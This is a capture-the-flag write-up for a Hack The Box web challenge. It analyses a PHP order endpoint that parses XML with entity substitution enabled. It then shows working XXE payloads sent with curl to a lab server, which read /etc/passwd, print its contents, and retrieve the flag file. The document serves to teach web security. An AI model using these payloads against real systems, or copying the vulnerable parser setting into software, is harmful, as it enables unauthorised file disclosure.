baby WAFfles order
3 minutes to read
We are provided with this webpage:
Static code analysis
We also have the PHP source code. This is index.php
:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
include_once "${name}.php";
});
$router = new Router();
$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');
die($router->match());
Here we only see two routes. The one that is most interesting is the one handled by OrderController.php
:
<?php
class OrderController
{
public function order($router)
{
$body = file_get_contents('php://input');
if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
{
$order = json_decode($body);
if (!$order->food)
return json_encode([
'status' => 'danger',
'message' => 'You need to select a food option first'
]);
return json_encode([
'status' => 'success',
'message' => "Your {$order->food} order has been submitted successfully."
]);
}
else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
{
$order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
if (!$order->food) return 'You need to select a food option first';
return "Your {$order->food} order has been submitted successfully.";
}
else
{
return $router->abort(400);
}
}
}
Basically, the controller allows us to enter data with JSON format or with XML format:
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/json' -sd '{"food":"asdf"}' | jq
{
"status": "success",
"message": "Your asdf order has been submitted successfully."
}
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/xml' -sd '<?xml version="1.0"?>
<order>
<food>asdf</food>
</order>'
Your asdf order has been submitted successfully.
Notice that there needs to be a tag named food
inside an order
element for XML, and just food
for JSON (see the PHP code above).
XXE exploitation
If we post an XML document, we are able to use XML External Entities and read the contents of a file. For instance, we can use this proof of concept from PayloadsAllTheThings:
<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<order>
<food>&file;</food>
</order>
Using curl
, we have this response:
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/xml' -sd '<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<order>
<food>&file;</food>
</order>'
Your root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:101:101:nginx:/var/lib/nginx:/sbin/nologin
order has been submitted successfully.
At this point, we can read any file if we know the full path. In the Dockerfile
we can see where to find the flag:
FROM alpine:edge
# Setup usr
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
# Install system packages
RUN apk add --no-cache --update supervisor nginx php7-fpm
# Install PHP dependencies
RUN apk add --no-cache --update php7-fpm php7-xml php7-simplexml php7-json
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
COPY flag /flag
# Setup permissions
RUN chown -R www:www /var/lib/nginx
# Expose the port nginx is listening on
EXPOSE 80
# Populate database and start supervisord
CMD /usr/bin/supervisord -c /etc/supervisord.conf
Flag
Nice, so let’s read the flag:
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/xml' -sd '<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///flag"> ]>
<order>
<food>&file;</food>
</order>'
Your HTB{wh0_l3t_th3_XX3_0ut??w00f..w00f..w00f..WAFfles!} order has been submitted successfully.